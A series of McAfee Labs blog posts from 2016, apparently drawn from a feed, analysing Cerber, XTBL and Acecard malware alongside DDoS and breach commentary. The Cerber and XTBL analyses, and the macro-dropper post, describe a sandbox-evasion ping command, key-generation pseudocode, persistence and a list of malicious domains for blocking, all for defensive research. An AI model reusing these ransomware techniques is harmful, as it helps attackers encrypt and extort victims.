In contrast to Version 2, Cerber X uses the Nullsoft Scriptable Install System (NSIS) to hide itself. The installer contains the encrypted Cerber executable (.ch) and a shellcode file (.caz) that contains code to decrypt the Cerber file. A component of NSIS follows:

Components of CERBER NSIS file

The file .ch is the encrypted Cerber file. The first DWORD of the file is the file size of the Cerber core file followed by encrypted data. A snippet of the encrypted core file follows:

Encrypted CERBER file with file size as first DWORD

The file .caz contains shellcode used to decrypt itself as well as the encrypted Cerber file (.ch) and execute it. A snippet of the shellcode file:Shell Code file and code to decrypt itself

Configuration file of Cerber 2 versus X

We observed few changes in the configuration files of Versions 2, 3, and X. They are related in Base64 encoding, self-deletion, encryption message file, and other elements. Here are some of the changes.

  • Base64 encoding: In Version 2, the configuration file has all contents in plaintext format. Version X has some fields encoded with Base64-like encryption messages. This change might be used to reduce the in-memory detection of the file because encryption messages have many suspicious strings that help analysts catch the malware in memory. So this will reduce the time suspicious strings spend in memory.
  • Encryption message file: In contrast to previous versions in which Cerber drops files such as # DECRYPT MY FILES .htm#, this version drops only one, README.hta (an HTML application) file. Similar to its predecessors, the name and content of the message file are kept in the configuration file but with Base64 encoding.
  • bytes_skip tag: Skips a number of bytes from the start of file during encryption.
  • self_deleting tag: Deletes itself after encryption.
  • remove_shadows tag: Removes shadow copy backups.

How Cerber gets its random extension

This version has unique behavior from its predecessors. It does not follow the .cerberN (where N is a number) extension rule but rather uses system information to get an encrypted file extension. This version also has different component filenames and locations that are also derived using system information.

Cerber X uses the following registry entry to get its component filename and extension for an encrypted file.

  • HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

MachineGuid has the following format:

  • XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX

This code snippet shows Cerber accessing the preceding registry key:

Reading MachineGUID registry key

Cerber X tokenizes the Guid using a hyphen and other elements:

  • Part 1 (8 characters): Used as a folder name for the Cerber component in %TEMP% directory.
  • Part 2, Part 3 (4 characters each): Used as filenames for Cerber’s component files.
  • Part 4 (4 characters): Used as the extension of the encrypted file.

So the mystery behind the random extensions is MachineGUID, whose fourth token becomes the extension for the encrypted file. We can use this behavior of getting file and folder names from MachineGUID as a heuristic detection for Cerber X because only after dropping the components does the malware start its encryption process. Thus if we could detect this behavior of using MachineGUID, we could prevent the encryption of a victim’s files.

Network communications

Network communications are basically similar in all versions. But this version has some minor changes in gathering data to send. Server information is kept in configuration file:

Servers tag in configuration file

Cerber uses the sendto API to send info to the IP address mentioned in the server tag of the configuration file. The initial information sent to server is 9 bytes, and the data prototype is stored in the knock tag of configuration file with Base64 encoding. The format of data:

  • hi{PARTNER_ID}

PARTNER_ID is generated at runtime. In this version the method to get it is different. PARTNER_ID, which is 7 characters long, is generated in two parts. The first part has 5 characters and second part has 2. In Version 2, the first part is generated with the help of a checksum of the file; in Version X it is taken from a hardcoded address in the .data section of the file.

Code snippets from both versions:

PARTNER_ID Diff : Reading Checksum field and Using Hardcoded Address in fileAnti-VM blooper

As we mentioned in our previous blog, irrespective of the version Cerber is one of the most comprehensive malware. Cerber exhibits anti–virtual machine techniques that detect popular VMs including Parallel, QEMU, VMware, and VBox. While analyzing we observed a curious thing: In one of the anti-VM techniques, Cerber accesses the following registry key:

  • HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion

After accessing the key, it tries to locate the substring “WMWare” instead of “VMWare” in the value, as shown:

Comparing the value with WMWare

Looks like even ransomware developers have trouble with typos.

Intel Security products detect Cerber as NSIS/Ransom-Cerber.a

The post Unfolding the Mystery of Cerber Ransomware’s Random File Extension appeared first on McAfee Blogs.

]]>
Password-Protected Attachment Serves Ransomware https://securingtomorrow.mcafee.com/mcafee-labs/password-protected-attachment-serves-ransomware/ Tue, 18 Oct 2016 18:45:04 +0000 https://blogs.mcafee.com/?p=53290 Attacks by macro malware carrying ransomware are growing, as we have recently reported. Since early March we have seen macro malware using high-obfuscation algorithms to hide itself from static and traditional antimalware detection techniques. Macro malware continues to evolve and use new tricks to evade detection. In addition to these evasion techniques, McAfee Labs researchers have …

The post Password-Protected Attachment Serves Ransomware appeared first on McAfee Blogs.

]]>
Attacks by macro malware carrying ransomware are growing, as we have recently reported. Since early March we have seen macro malware using high-obfuscation algorithms to hide itself from static and traditional antimalware detection techniques. Macro malware continues to evolve and use new tricks to evade detection. In addition to these evasion techniques, McAfee Labs researchers have witnessed a new variant of macro malware. This version uses the password given in the email to open the malicious Word document. Password protection makes it harder to extract and scan the attachment for malicious code.

McAfee Labs has previously blogged about macro malware using high-obfuscation algorithms and several other layers of evasion to avoid detection. Previous variants have used fudging techniques such as virtual machine awareness, sandbox awareness, and others. The infection process follows this path:

1

Looking at the email body we can see that the attached document file is randomly named with a .dot extension and a document password is provided to open it. The email related to this spam looks like the following snippet:

2

3

Once the user provides the password to open the document, it prompts the user to “enable editing and enable content to read content.” If a user clicks “enable content,” macros will be enabled and will drop a malicious VBScript with a random name in %appdata%. We checked the hash on VirusTotal. This file has recently been submitted from several countries.

4

The macro and dropped VBScript both are highly obfuscated. Once deobfuscated, the VBScript downloads the encrypted payload with the file extension .jop. Next the payload is decrypted by a simple XOR operation. At first glance, it is difficult to guess the intentions of this VBScript. We further deobfuscated the code and found more readable strings. The obfuscated VBScript looks like this:

5

The obfuscation algorithm is not the same every time. For this variant we deobfuscated the content using a small Python script.

6

After deobfuscating, we found more readable strings—notably the malicious URLs that download the payloads. Different URLs may be present in different VBScripts. Currently these URLs are inactive.

7

Malware authors uses different techniques to delay the execution of any suspicious functionality for a certain time. Generally sandbox systems monitor execution for a limited time, and in the absence of malicious activity classify a program as legitimate. Attackers uses techniques such as onset delay, stalling code, and extended sleep calls to delay the execution in sandbox environments. This variant delays execution by running cmd.exe with the parameter “ping 8.8.8.8 -n 250 > nul,” which pings the Google DNS server 250 times and ignores the results.

8

The final payload is Cerber ransomware, which encrypts the victim’s machine. We saw a spike in Cerber during week 41 (early October):

10

Malware authors continue to advance their sandbox-evasion techniques and make security efforts difficult for antimalware products. Intel Security advises all users to keep their antimalware products up to date. McAfee products detect the document file, VBScript, and final Payload as W97M/Downloader, VBS.Downloader, and Ransomware-FUN! [Partial hash].

 

Hashes

Document files:

  • 7799b30cd33b7052701a2d8e91aeb99e (password: nOrCeBV)
  • b7220f3455d92615f25b8d9eca94fefc (password: TfsMoS)
  • 2552fb9ba6dfc97168bccde23763fb81 (password: 4nHTvIM1)

VBScript:

  • 7F86D6E9C030630EACE4952F25DE9364
  • 19C684BABFBEF9CA5C845492D5A0DE4F

Cerber:

  • 4df4dfbcf17f2b1f5bcab6210c54c251

 

References

https://blog.knowbe4.com/manic-monday-the-massive-cerber-campaign-flooding-your-employees-inboxes

 

The post Password-Protected Attachment Serves Ransomware appeared first on McAfee Blogs.

]]>
No More Ransom Adds Law Enforcement Partners From 13 Countries https://securingtomorrow.mcafee.com/mcafee-labs/no-ransom-adds-law-enforcement-partners-13-new-countries/ Mon, 17 Oct 2016 15:54:40 +0000 https://blogs.mcafee.com/?p=53406   Intel Security and Kaspersky Labs today announced that 13 law enforcement agencies have joined No More Ransom, a partnership between cybersecurity industry and law enforcement organizations to provide ransomware victims education and decryption tools through www.nomoreransom.org. Intel Security, Kaspersky Labs, Dutch National Police, and Europol will be joined by members from Bosnia and Herzegovina, …

The post No More Ransom Adds Law Enforcement Partners From 13 Countries appeared first on McAfee Blogs.

]]>
bh_home-router-ransomware2

 

Intel Security and Kaspersky Labs today announced that 13 law enforcement agencies have joined No More Ransom, a partnership between cybersecurity industry and law enforcement organizations to provide ransomware victims education and decryption tools through www.nomoreransom.org. Intel Security, Kaspersky Labs, Dutch National Police, and Europol will be joined by members from Bosnia and Herzegovina, Bulgaria, Colombia, France, Hungary, Ireland, Italy, Latvia, Lithuania, Portugal, Spain, Switzerland, and the United Kingdom.

Since its launch on July 25, 2016, No More Ransom has enabled ransomware victims to avoid paying an estimated US$1.48 million, or €1.35 million, in ransom payments to cybercriminals. The No More Ransom portal has received more than 24.5 million visitors since its launch, a consolidated average of 400,000 visitors per day.

No More Ransom addresses one of the fastest growing and most lucrative and efficient types of cybercrime. Whereas other types of cybercrime require cybercriminals to infect and infiltrate systems, exfiltrate data, and exploit and monetize that data, ransomware simply requires an infection cycle, followed by a payment process. There is no need to sell stolen data before banks and credit card companies can cancel stolen credit or debit numbers, or freeze logins to compromised accounts.

Because of this “ease of monetization” advantage, it should be no surprise that McAfee Labs has seen overall ransomware increase 128% over the past year. In the second quarter of 2016 alone, McAfee Labs detected 1.3 million new ransomware samples, the highest ever recorded since McAfee Labs began tracking this type of threat.

Furthermore, the ransomware threat has extended from individual users to systems belonging to businesses and life-saving organizations such as hospitals. Intel Security’s Advanced Threat Research team has identified numerous ransomware attack scenarios targeting Internet of Things devices such as home automation systems and routers and in-vehicle infotainment (IVI) systems within connected automobiles.

Home router infected with ransomware
Home router infected with ransomware.
Automobile IVI system infected with ransomware
Automobile IVI system infected with ransomware.

At present, five decryption tools are listed on the www.nomoreransom.org website. Since the launch of the portal in July, the WildfireDecryptor has been added and two decryption tools updated: RannohDecryptor (updated with a decryptor for the ransomware MarsJoke, aka Polyglot) and RakhniDecryptor (updated with Chimera). In order to broaden the audience and improve results even further, the portal is currently being adapted to support different language versions.

For more information on McAfee Labs’ analyses of various ransomware types and trends of ransomware evolution:

 

For more information on Intel Security’s participation in the No More Ransom project, please visit www.nomoreransom.org.

 

The post No More Ransom Adds Law Enforcement Partners From 13 Countries appeared first on McAfee Blogs.

]]>
Ransomware Variant XTBL Another Example of Popular Malware https://securingtomorrow.mcafee.com/mcafee-labs/ransomware-variant-xtbl-another-example-of-popular-malware/ Mon, 17 Oct 2016 12:00:35 +0000 https://blogs.mcafee.com/?p=53114 We have seen a huge increase in ransomware during the past couple of years. At McAfee Labs we have recently received a sample of the low-profile XTBL, a ransomware family that encrypts files and demands ransom from its victims to decrypt the files. Like other ransomware variants, XTBL propagates through a wide range of spam campaigns. Attackers …

The post Ransomware Variant XTBL Another Example of Popular Malware appeared first on McAfee Blogs.

]]>
We have seen a huge increase in ransomware during the past couple of years. At McAfee Labs we have recently received a sample of the low-profile XTBL, a ransomware family that encrypts files and demands ransom from its victims to decrypt the files. Like other ransomware variants, XTBL propagates through a wide range of spam campaigns. Attackers have used various social engineering tricks to distribute these samples disguised as a document (.pdf, .doc, .xls, etc.) file via double-extension trick to lure users into opening the file.

A sample spam email may look like this:

spam_xtbl

We analyzed XTBL and found it does the following:

  • Encrypts and deletes all user files including executables.
  • Deletes all backup copies.
  • Adds self-copies for rerunning.
  • Demands ransom.

After its activity, XTBL sets wallpaper as below:


screen_xtbl

Analysis

In our static analysis of the malware sample, we found that it holds some encrypted data in its overlay. Upon execution, it decrypts this data, an executable, and injects it into its own subprocess.

injected_xtbl

This injected component is used for further infection. It decrypts all configuration information required for its infection. The information it contains:

  • RSA key size (first 4-byte group).
  • RSA key followed by key size.

rsa_xtbl

  • RSA exponent:

rsaexponent_xtbl

  • Mail ID, where all information is sent:

mailaddr_xtbl

  • “Magic” number used:
    • 006VGL (6 bytes). We have observed that each variant uses a different magic number though the pattern remains same, for example, 00{number}[A-Z]{3}.
  • Name of mutex created:
    • Global\snc_{filename}
  • Path to exclude from encryption:
    • %windir%
  • Files to exclude from encryption:
    • Svchost.exe
    • Explorer.exe
    • Boot.ini
  • Name of dropped components:
    • How to decrypt your files.txt.
    • DECRYPT.jpg
    • %desktop%\Log.txt
  • For persistence the malware drops its copy in %windir% and %appdata% and creates a run entry:
    • Software\Microsoft\Windows\CurrentVersion\Run

It also sends 159 bytes of data to the host:

postdata_xtbl

This data contains the victim’s computer name, globally unique identifier, user ID, and magic number:

datasent_xtbl

This injected file creates a separate thread for each drive. Each of these threads creates a further four threads responsible for:

  • Traversing directory
  • Renaming file
  • File encryption
  • Deleting original file

This ransomware family uses the CreateFileW API in nonshare mode as an antidebugging technique.

createfile_xtbl

We found several steps for encrypting files.

Key generation

20 bytes of space is allocated for creating the key, which is generated using two sources, _ftime64()and Rand(), as shown:

key_gen_xtbl

The key is generated:

  • Dword_42C0A4 = Dword_42C0A4 ^ (1000*ms)
  • Dword_42C0A8 = Dword_42C0A4 ^ ((1000*ms) | data)
  • Dword_42C0AC = Dword_42C0A8 ^ rand ()
  • Dword_42C0B0 = Dword_42C0B0 ^ 0 i.e. 0

The key may look like this:

key_xtbl

The ransomware computes the MD5 hash of 20 bytes of the generated key to get 16 bytes of data.

md5_xtbl

These 16 bytes will be used to encrypt the generated key using the RC4 algorithm.

To summarize, key is generated using following pseudocode:

  • Data = ([epochs]) ([ms*1000]) ([rand()]) ([0000])
  • Key = RC4(md5(Data),Data)

The key is encrypted using an RSA key in the configuration information.

 

File encryption

Files are encrypted using the AES256 algorithm.

aes_256_pseudo_xtbl

Original files will be deleted after encryption and encrypted files will be renamed as follows:

  • Filename.ID{Id}.mail_address.XTBL

encrypted_file_xtbl

Each of the encrypted files is appended with data that holds some important fields:

  • Encrypted filename
  • Magic number (6 bytes)
  • Randomly generated initial vector for each file (10 bytes)
  • Padding (10 bytes)
  • RSA block (80 bytes)

encrypted_footer_xtbl

List of Domains

  • bebgimeozel.com
  • dd24.net
  • rrpproxy.net
  • key-systems.net
  • tuginsaat.com

How to prevent this infection

We advise all users to be careful when opening unsolicited emails and clicking unknown links. We strongly advise all users to block the preceding domain names.

Intel Security products detect these XTBL variants as Ransom-XTBL-FUL!<partial-md5> and Ransom-XTBL-FUM!<partial-md5>.

This post was prepared with the invaluable assistance of Rakesh Sharma and G N Sivagnanam.

 

Analyzed samples (SHA-1)

  • E3AA4A3882FED182986A642F05B3711156CA5354: injected component
  • A07A1660EBD71BFF4B640665208D2ADE51791E69: attachment

 

The post Ransomware Variant XTBL Another Example of Popular Malware appeared first on McAfee Blogs.

]]>
Android Banking Trojan Asks for Selfie With Your ID https://securingtomorrow.mcafee.com/mcafee-labs/android-banking-trojan-asks-for-selfie-with-your-id/ Fri, 14 Oct 2016 00:15:58 +0000 https://blogs.mcafee.com/?p=53191 In the first half of 2016 we noticed that Android banking Trojans had started to improve their phishing overlays on legitimate financial apps to ask for more information. Victims were requested to provide “Mother’s Maiden Name,” “Father’s Middle Name,” “Maternal Grandmothers Name,” or a “Memorable Word.” Attackers used that data to respond to security questions and obtain …

The post Android Banking Trojan Asks for Selfie With Your ID appeared first on McAfee Blogs.

]]>
In the first half of 2016 we noticed that Android banking Trojans had started to improve their phishing overlays on legitimate financial apps to ask for more information. Victims were requested to provide “Mother’s Maiden Name,” “Father’s Middle Name,” “Maternal Grandmothers Name,” or a “Memorable Word.” Attackers used that data to respond to security questions and obtain illegal access to the victims’ bank accounts.

Recently the McAfee Labs Mobile Research Team found a new variant of the well-known Android banking Trojan Acecard (aka Torec, due to the use of Tor to communicate with the control server) that goes far beyond just asking for financial information. In addition to requesting credit card information and second-factor authentication, the malicious application asks for a selfie with your identity document—very useful for a cybercriminal to confirm a victim’s identity and access not only to banking accounts, but probably also even social networks.

Like most Android banking Trojans, this threat also tricks users into installing the malware by pretending to be an adult video app or a codec/plug-in necessary to see a specific video:

acecard_app_logos
As soon as the malicious app is executed by the user, it hides the icon from the home launcher and constantly asks for device administrator privileges to make its removal difficult:

acecard_deviceadmin
When it is running in the background, the malware constantly monitors the opening of specific apps to show the user its main phishing overlay, pretending to be Google Play and asking for a credit card number:

acecardphishingoverlay
Once the credit card number is validated, the next phishing overlay asks for more personal and credit card information such as cardholder name, date of birth, phone number, credit card expiration date, and CCV:

acecard_phishing_overlay_personal

Depending on the type of the credit card that the user entered in the first phishing overlay, the malware will also ask for a second factor of authentication:

acecard_hk
In the preceding case, the malware asks for the HK (Hong Kong) ID. This new variant also targets users in Singapore, asking for the National Registration Identity Card and the Singaporean passport:

acecard_sg

After collecting credit card and personal information from the victim, the malware offers a fake “identity confirmation” that consists of three steps. The first two steps ask the user to upload a clean and readable photo of the front and back side of the victim’s identity document (national ID, passport, driver’s license):

acecard_identityconf_step1and2
The final step asks for a selfie with the identity document:

acecard_selfi

Why are Android banking Trojans so popular? One possible reason is the exploit kit GM Bot, whose source code was leaked in February. (IBM SecurityIntelligence blogged about it.)

Android banking Trojans such as Acecard are constantly evolving and improving their social engineering attacks to gain as much sensitive and private information as possible. Attackers want not only a victim’s credit card information and different factors of authentication to financial services, but also a picture of the victim with identity document to remotely access to different systems. To protect yourselves from this threat, employ security software on your mobile, avoid downloading and installing apps from untrusted sources, and do not trust screens that ask for financial and personal information.

McAfee Mobile Security detects this threat as Android/Torec and alerts mobile users if it is present, while protecting them from any data loss. For more information about McAfee Mobile Security, visit http://www.mcafeemobilesecurity.com.

Targeted apps

  • com.android.vending
  • com.google.android.music
  • com.google.android.videos
  • com.google.android.play.games
  • com.google.android.apps.books
  • com.whatsapp
  • com.viber.voip
  • com.dropbox.android
  • com.tencent.mm
  • jp.naver.line.android

The post Android Banking Trojan Asks for Selfie With Your ID appeared first on McAfee Blogs.

]]>
Everyone Loves Selfies, Including Malware! https://securingtomorrow.mcafee.com/consumer/identity-protection/everyone-loves-selfies-including-malware/ Thu, 13 Oct 2016 23:48:41 +0000 https://blogs.mcafee.com/?p=53303 I was talking with some of my coworkers the other day about why I wanted to jump to the larger iPhone 7 Plus.  For me it came down to the camera.  I travel a lot for work and even though photography is something of a hobby of mine, I don’t always have my “good camera” …

The post Everyone Loves Selfies, Including Malware! appeared first on McAfee Blogs.

]]>
I was talking with some of my coworkers the other day about why I wanted to jump to the larger iPhone 7 Plus.  For me it came down to the camera.  I travel a lot for work and even though photography is something of a hobby of mine, I don’t always have my “good camera” with me, so I end up relying on my phone’s camera to take pictures of things that catch my eye.  The camera has become an integral part of a smartphone that it’s often (as in my case) a key factor in deciding which phone to use.  More companies are starting to take advantage of the ubiquitous nature of the camera phone to let you do things like simulate a fax for a signed document or making deposits through your banking app by taking a picture of the front and back of the check.  Thanks to my phone’s camera I can’t remember the last time I stepped inside a bank.  Unfortunately, cybercriminals are also learning to take advantage of your phone’s camera.

The McAfee Mobile Research Team within McAfee Labs recently discovered a piece of Android malware that uses a bit of social engineering and some sneaky code to collect all sorts of personal information, ending with a picture of your ID card. That’s right, malware is now asking for you to take a selfie.  While this particular piece of malware has only been impacting users in Singapore and Hong Kong so far, it’s always best to be aware of the current threats and prepare accordingly. Let’s take a quick look at what this piece of malware does.malware-codec

Like a lot of malware, it tricks the user into installing it by pretending to be a video codec or plugin.  By doing this, it’s actually getting the user to grant it all the permissions it needs to execute the malicious code.  On a side note, this is why we would call this a Trojan instead of a virus since it is pretending to be a legitimate application with hidden functionality.  Remember the story of the Trojan Horse?  Same concept.  Just much smaller.selfie

This malware now runs in the background, waiting for you to open specific apps where it would make sense to ask for a credit card number.  It then displays its own window over the legitimate app, asking for your credit card details.  After validating the card number, it goes on to ask for additional information such as the 4-digit number on the back.  Once fed that information, it will then proceed to ask all sorts of additional information claiming a need to validate your identity.    Age, birthday, mailing address, etc. are all collected.   After all of this info is gathered, it then asks for a picture of the front and back of your ID.  Now, not content to just get that info, the malware asks you to take a selfie with your ID in hand.  You thought taking a selfie with your boarding pass was bad!  If you entered in everything you were asked for, the cybercriminals controlling this malware would now have all the information they needed to gain access to your online accounts.  While it’s not the first time we’ve seen malware that asks for a picture, this is the first time we’ve seen this in mobile malware.  Cybercriminals have definitely turned their sights on the mobile platform.

How to Stay Safe

Don’t install shady plugins – The majority of the internet has settled on one of a handful of different formats to use for videos.  If you go to a site that is asking you to install a “codec” or “video plugin,” don’t do it.  Either that site is using an older out of date video format (that could be vulnerable to more malware) or it is trying to get you to install malware.  Either way, go to another site.  If you think you are missing a legitimate plugin, go directly to the site that makes the plugin and install it from there.  But really, most mobile operating systems have all the codecs you will need built in, so when in doubt, get out.

Don’t take a picture of your ID – You should always be skeptical when apps start asking for too much information.  Entering in payment information is one thing, but asking for a picture of your ID is a completely different ballpark.  In general, storing that sort of information on a server (picture of your ID, passport, etc.) is not a good security practice, so even if an app you are using is legitimately asking for a copy of your ID, you may want to reconsider ditching that app for another one with better security practices.

Install security software – Typically I tell people to keep their devices up to date.  However, since this piece of malware is a Trojan and installs with the user’s permissions, having your system up to date would not stop this malware.  This is one reason you need to run security software, so it can keep an eye out for malicious apps like this that find tricky ways to get onto your device.

Cybercriminals are certainly not slowing down their efforts to steal your data, but with good security practices and the right protections in place, you have a fighting chance.

Stay on top of the latest consumer and mobile security threats by following me and @IntelSec_Home on Twitter, and ‘Like’ us on Facebook.

Stay Safe

 

 

 

 

The post Everyone Loves Selfies, Including Malware! appeared first on McAfee Blogs.

]]>
New Security Reality for Internet of Things https://securingtomorrow.mcafee.com/mcafee-labs/new-security-reality-for-internet-of-things/ Tue, 04 Oct 2016 19:27:58 +0000 https://blogs.mcafee.com/?p=52970   Recent distributed denial of service (DDoS) attacks are forcing a shift in how we think about the Internet of Things (IoT). The dangers are expanding as attackers are taking advantage of billions of IoT devices, conscripting them into their botnet armies for massive DDoS attacks.   Nontraditional risks The estimates vary, but they suggest between …

The post New Security Reality for Internet of Things appeared first on McAfee Blogs.

]]>
 

iot-4

Recent distributed denial of service (DDoS) attacks are forcing a shift in how we think about the Internet of Things (IoT). The dangers are expanding as attackers are taking advantage of billions of IoT devices, conscripting them into their botnet armies for massive DDoS attacks.

 

Nontraditional risks

The estimates vary, but they suggest between 20 billion and 30 billion of these systems will be connected by 2020. With the explosive rise of IoT, the focus has been primarily on hackers taking over devices and controlling them. Many of the risks highlighted in the past year has been in the transportation sector. Cars being hacked and control surfaces such as breaks, steering, and acceleration compromised. The prospect of exploitable vehicles, under the command of others, is a scary proposition. Security researchers are showing what risks are possible. Such real-world attacks put people’s lives at great risk. Automobile manufacturers and government safety organizations are working fast to get ahead of any real-world attacks. High-profile transportation exploits are but a sliver of the IoT world. These devices are everywhere and deeply influence our lives, as they are woven into health care, industry, retail, manufacturing, and entertainment.

Connecting things to the Internet is the latest craze, allowing users the pleasure of remote control and monitoring of everyday devices—from cooking appliances, lights, home cameras, sports gear, electronics, sprinklers, and anything else one could imagine. They are becoming commonplace in homes, hospitals, office environments, stores, and all manner of vehicles. It seems that any normal device becomes even better if you can remotely connect to it. This is how we get the rapid growth of devices communicating over the Internet. But all these machines, some as simple as a rice cooker or as complex as a Tesla, can all send information. In this capability is where trouble now brews.

During the past year, savvy hackers have seen the growth of IoT devices coupled with their apparent vulnerabilities, to be the next great opportunity. Designers are quick to get products out the door, but less serious about actually securing their wares. Who cares if a kitchen appliance connects to the Internet? Hackers, that’s who.

Bot herders, as they are known, are always looking for machines to take over and control. In the past they typically targeted PCs and servers. They hack the systems and install control functions that allow them to command their herd and conduct massive DDoS attacks. This pool of bots, which could exceed tens of thousands in number, follow instructions given by their herder. By having the entire herd stampede a targeted site with massive network requests, they can overwhelm sites and services to the breaking point. The more systems that take part, the greater the potential impact.

The problem, for hackers, with PCs is that they are becoming better defended every day. Antimalware tools are pretty good at detecting problems and evicting botnets. IoT devices typically lack any sophisticated defenses; many are shipped with a default administrator password that can be found in online documentation.

Welcome to the party, IoT. IoT devices tend to be much less defended and almost entirely unmonitored. When was the last time you inspected the outbound traffic from your home security camera, DVD, thermostat, or wireless router? If you are like most folks, never. How would you know if they were hacked and under the control of some cybercriminal or hacktivist? You wouldn’t. That is exactly why they are a great target. Poorly defended, always online, and almost never patched. Perfect victims. Soon there will be billions of them.

Gartner predicts by 2020 that more than 25% of attacks in enterprises will involve IoT devices. In the business world, IoT is a weak link. Spending for IoT security is expected to rise to $840 million by 2020 from $281 million in 2015.

 

Recent attacks escalate

The future is already here. Simple IoT devices are being hacked in massive numbers and used as part of botnets to conduct DDoS attacks. Earlier in the year, more than 25,000 closed circuit television cameras and digital video recorders were controlled to attack small businesses. More than 50,000 HTTP requests per second flooded in, for days. That is the power of having many sources which are always online.

A popular botnet engine, LizardStresser, has expanded to embrace the power of IoT devices. LizardStresser has been used to create more than 100 botnets in the past year. In July, one of those botnets was leveraged to generate attacks exceeding 400Gbps against commercial targets. They did so without amplification techniques, which normally inflate attacks from a few powerful systems to be more impactful. This was an expression of raw power.

During the Olympics another IoT botnet upped the flow of malicious traffic to 540Gbps in an attempt to bring down services at the venue.

Earlier this month, the French hosting firm OVH reported two concurrent DDoS attacks with a combined bandwidth near 1Tbps (1,000 Gbps). One of the two attacks peaked at 799Gbps, making it the largest ever reported. According to the CTO, Octave Klaba, the attack targeted Minecraft servers hosted on OVH’s network, and the source of the attacks was 145,000 hacked DVRs and IP cameras.

Most recently, the site of renowned cybersecurity researcher and reporter Brian Krebs was targeted with a highly complex DDoS attack. The attack escalated to the point that Akamai’s web service felt it was no longer financially prudent to support Krebs as a pro-bono customer. Previously, Akamai stated the largest attack they had seen this year was 363Gbps. The attack against Krebs’ site almost doubled that amount at 620Gbps, making it the largest DDoS attack Akamai had encountered.

Based upon the attack’s size and complexity, Josh Shaul, Akamai’s vice president of Web security, told the Boston Globe “this is the worst denial of service attack we’ve ever seen” and added that it might be the worst in Internet history. The costs to Akamai were tremendous. Shaul said “if this kind of thing is sustained, we’re definitely talking millions” of dollars in required cybersecurity services.

 

projectshield-580x381

Krebs is back online, with a new DDoS protection provider. Heavyweight Google runs a free program, Project Shield, to protect journalists from online censorship. This will pose an interesting match-up: DDoS botnets, powered by a growing IoT community, against one of the most innovative and powerful Internet companies.

Let’s see if the Google powerhouse can withstand the DDoS onslaught that we all know it is coming. I believe if they cannot, they will do what they do best and innovate. Nobody does Internet innovation better or with more resources than Google. We may see new technology, protocols, and DDoS protection solutions as a result of this struggle. I am excited either way to sit ringside.

 

A turning point for IoT security

The world of IoT security is changing, fueled by a sharp rise in the size and complexity of DDoS attacks.   A new reality is emerging, in which the risks are no longer limited to attackers taking control of devices, but are also exploiting these systems to conduct extremely powerful DDoS attacks. Pointed at critical systems such as banking, telecom, and government services, these attacks pose a grave risk to online capabilities that people rely upon. Such power could be wielded by malicious attackers to the detriment of everyone, just by taking advantage of the billions of weak IoT devices they can get under their control.

IoT botnets will continue to rise. Right now they are an easy resource to harvest. IoT device manufacturers must act now to build in better security capabilities and controls. This must start with internal prioritization and security teams who own the architecture and design, define testing parameters, and actively manage post-release issues. Otherwise these systems, massive in number, can cause global impacts not easily remedied by currently available security solutions. This era may usher in the next generation of DoS attacks, extortion, free-speech manipulation, and nation-state cyberwarfare tactics. The stakes are higher in this new game of IoT botnets.    

 

Interested in more?  Follow me on Twitter (@Matt_Rosenquist) and LinkedIn to hear insights and what is going on in cybersecurity.

The post New Security Reality for Internet of Things appeared first on McAfee Blogs.

]]>
CTO Q&A: Campaign Hacks, Yahoo! and Clinton-Trump https://securingtomorrow.mcafee.com/mcafee-labs/cto-qa-campaign-hacks-yahoo-clinton-trump/ Mon, 03 Oct 2016 07:08:11 +0000 https://blogs.mcafee.com/?p=53023 Over the last several days, we’ve seen headlines on potential cyberattacks on state voter registries, cybersecurity front and center in the Clinton-Trump presidential debate, and new revelations into the Yahoo! cyber-breach that appears to have compromised more than 500 million user accounts. Intel Security CTO Steve Grobman fielded a number of questions on these events …

The post CTO Q&A: Campaign Hacks, Yahoo! and Clinton-Trump appeared first on McAfee Blogs.

]]>
Over the last several days, we’ve seen headlines on potential cyberattacks on state voter registries, cybersecurity front and center in the Clinton-Trump presidential debate, and new revelations into the Yahoo! cyber-breach that appears to have compromised more than 500 million user accounts.

Intel Security CTO Steve Grobman fielded a number of questions on these events and revelations:

What do you make of the FBI and DHS announcements that the agencies have detected cyberattacks on voter registration websites in more than a dozen states?

“These announcements certainly raise concerns. Elections are meant to be anonymous and not traceable back to the individual voter. Thirty-one states and DC offer the kind of online voter registration that the FBI says was targeted. The perpetrators are hacktivists. They probably seek to shake voter confidence in the American electoral system, and they only have to have one high-profile attack to achieve this goal.”

What do you make of reports that cybercriminals are behind the theft of 500 million Yahoo! users’ accounts, not government-backed hackers, and these actors sold the data to a state actor?

“Some nation-states have the same cyber gap in their offensive operations as the rest of the world has in defensive operations. Moreover, they face the threat of kinetic repercussions resulting from the digital attribution of a cyberattack. Therefore, it’s conceivable that these state actors could use a wide range of tactics to mitigate these issues. This could indeed include partnering with criminal or private organizations to achieve their strategic objectives.

Because of this, we need to be careful not to interpret what little we see as definitive proof of a conclusion.

For example, the fact that stolen data can be leaked through criminal underground networks could simply indicate that a nation-state is attempting to mask a cyber espionage operation as a standard cybercriminal breach. It may also be a side effect of a criminal actor acting on a nation-state’s behalf. A similar deception can occur in reverse, in which a criminal or terrorist group can use tactics to falsely implicate a nation-state.”

What should we make of the possibility of a nation-state potentially hacking a U.S. corporation for user emails as an act of espionage?

“For state actors, the political or strategic incentives of orchestrating such a large breach are as real as the obvious financial ones for cybercriminals. A rival state’s intelligence services could find and access the messages of individuals with political, government, military, and even corporate public profiles.

Consider the recent compromise and disclosure of former Secretary of State Colin Powell’s personal email messages. While probably more tame than the average citizen’s messages, the public disclosure of his communications revealed statements that proved controversial in political and other government circles.

The emails of the less tame or even reckless candidate, three-letter agency chair, general, or CEO could contain material sensitive enough to destroy careers, enable blackmail, endanger a mission, or influence high-level negotiations and decisions.”

Regarding Verizon’s planned acquisition of Yahoo!, is an analysis of a company’s computer security expected as part of the due diligence in a purchase?

“It is common practice for technology companies conducting due diligence of a potential acquisition to evaluate the cybersecurity posture of that target. This due diligence often includes requesting a list of IT breaches, reviewing the results of any security audits or certifications, evaluating the company’s policies and procedures for IT security, reviewing the company’s privacy policies, and assessing the nature of personal information held by the business, among others.”

Who generally performs such an analysis? Are they paid by the buyer or the seller?

“Security-related diligence is often conducted through a combination of internal teams employed by the acquirer, and, if needed, third-party specialists. The cost of any third-party evaluation is typically borne by the acquirer.”

Would such an analysis have picked up this breach?

